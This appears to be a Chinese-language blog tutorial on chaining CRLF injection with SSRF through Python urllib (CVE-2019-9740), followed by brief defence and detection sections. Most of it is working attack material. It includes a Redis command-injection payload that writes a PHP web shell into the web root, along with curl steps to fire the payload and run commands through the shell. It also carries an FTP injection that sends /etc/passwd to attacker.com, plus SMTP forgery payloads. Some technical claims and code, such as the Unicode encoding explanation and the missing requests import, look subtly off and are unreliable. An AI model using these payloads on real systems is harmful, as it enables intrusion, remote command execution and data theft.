CRLF注入与SSRF组合攻击:Python urllib CVE-2019-9740漏洞深度利用 📅 2026/7/13 7:08:33 CRLF注入与SSRF组合攻击Python urllib CVE-2019-9740漏洞深度利用1. 漏洞背景与原理剖析CRLFCarriage Return Line Feed注入漏洞的本质是攻击者通过控制输入数据中的回车换行符\r\n篡改HTTP协议的结构。在HTTP协议中头部字段之间用单个CRLF分隔头部与正文之间用两个CRLF分隔请求行与头部之间用单个CRLF分隔当应用程序未对用户输入进行严格过滤时攻击者可以注入这些控制字符实现GET /path?inputmalicious%0d%0aInjected-Header:%20value HTTP/1.1 Host: example.comPython的urllib库在3.7及以下版本存在CVE-2019-9740漏洞该漏洞允许攻击者通过精心构造的URL实现CRLF注入。核心问题出在URL解析过程中对Unicode字符的处理缺陷# 漏洞示例代码 from urllib.request import urlopen malicious_url http://example.com/%0D%0AX-Injected:%20value response urlopen(malicious_url) # 注入的头部会被服务器处理2. 漏洞利用技术矩阵CRLF注入的危害远不止简单的头部注入结合不同场景可形成攻击链攻击类型利用方式潜在影响会话固定注入Set-Cookie头部身份劫持XSS攻击注入两个CRLF恶意脚本客户端代码执行HTTP响应拆分构造虚假响应缓存投毒、钓鱼攻击SSRF增强配合内网服务协议内网系统入侵请求走私利用前后端解析差异权限绕过、未授权访问Redis协议注入示例GET /%0D%0AFLUSHALL%0D%0Aconfig%20set%20dir%20/var/www/html/%0D%0Aconfig%20set%20dbfilename%20shell.php%0D%0Aset%20x%20%27%3C?php%20system($_GET[cmd]);?%3E%27%0D%0Asave HTTP/1.13. CVE-2019-9740深度分析该漏洞源于urllib对URL路径中Unicode字符的错误处理# 漏洞重现 from urllib.parse import quote payload quote(\u010D\u010A) # Unicode编码的CRLF print(payload) # 输出%C4%8D%C4%8A当这类字符出现在URL路径中时urllib错误地将Unicode字符转换为实际控制字符未进行适当的CRLF过滤注入的换行符被保留在最终请求中漏洞利用条件使用Python 3.7及以下版本应用程序使用urllib处理用户提供的URL目标服务对CRLF过滤不严格4. 组合攻击实战SSRFRedis入侵4.1 环境搭建准备以下组件存在漏洞的Python 3.7环境内网Redis服务端口6379可访问的Web应用使用urllib处理URL参数4.2 攻击步骤探测SSRF漏洞import urllib.request try: resp urllib.request.urlopen(http://internal/service?urlhttp://127.0.0.1:6379) print(resp.status) # 确认Redis端口开放 except Exception as e: print(fError: {str(e)})构造Redis命令注入redis_payload FLUSHALL config set dir /var/www/html config set dbfilename shell.php set payload ?php system($_GET[cmd]);? save encoded .join(f%0D%0A{line} for line in redis_payload.strip().split(\n)) attack_url fhttp://vulnerable.com/ssrf?urlhttp://127.0.0.1:6379/{encoded}执行攻击curl -G --data-urlencode url${attack_url} http://vulnerable.com/ssrf-handler验证结果curl http://vulnerable.com/shell.php?cmdid注意实际攻击中需要根据目标环境调整路径和权限设置5. 高级利用技巧5.1 FTP协议注入利用CRLF控制FTP命令流GET /ssrf?urlftp://attacker.com/%0D%0AUSER%20anonymous%0D%0APASS%20ab.com%0D%0ASTOR%20/etc/passwd HTTP/1.15.2 SMTP邮件伪造注入SMTP命令smtp_payload MAIL FROM:attackerevil.com RCPT TO:admintarget.com DATA Subject: Urgent! This is a fake email. . 5.3 协议混淆攻击混合HTTP与Redis协议GET /%20HTTP/1.1%0D%0A%0D%0ASET%20key%20value%0D%0A HTTP/1.1 Host: redis.internal:63796. 防御方案代码层防护# 安全的URL处理方式 from urllib.parse import urlparse import re def safe_url(url): parsed urlparse(url) if re.search(r%0[ad]|[\r\n], parsed.path or ): raise ValueError(CRLF injection detected) return url架构层防护网络隔离限制内网服务访问权限输入验证白名单校验URL参数编码处理对特殊字符进行转义升级建议升级到Python 3.8版本使用requests库替代urllib部署WAF规则过滤CRLF序列7. 漏洞检测方法论自动化检测脚本框架import socket from urllib.parse import quote def check_crlf(url): test_params { header: X-Test:1, xss: scriptalert(1)/script } for name, payload in test_params.items(): try: resp requests.get(f{url}?input{quote(payload)}) if payload in resp.headers or payload in resp.text: return True except: continue return False在实际渗透测试中发现这类漏洞的关键在于仔细审查所有用户输入点尝试不同编码方式的CRLF%0D%0A、%0A、%0D等观察响应头与响应体的变化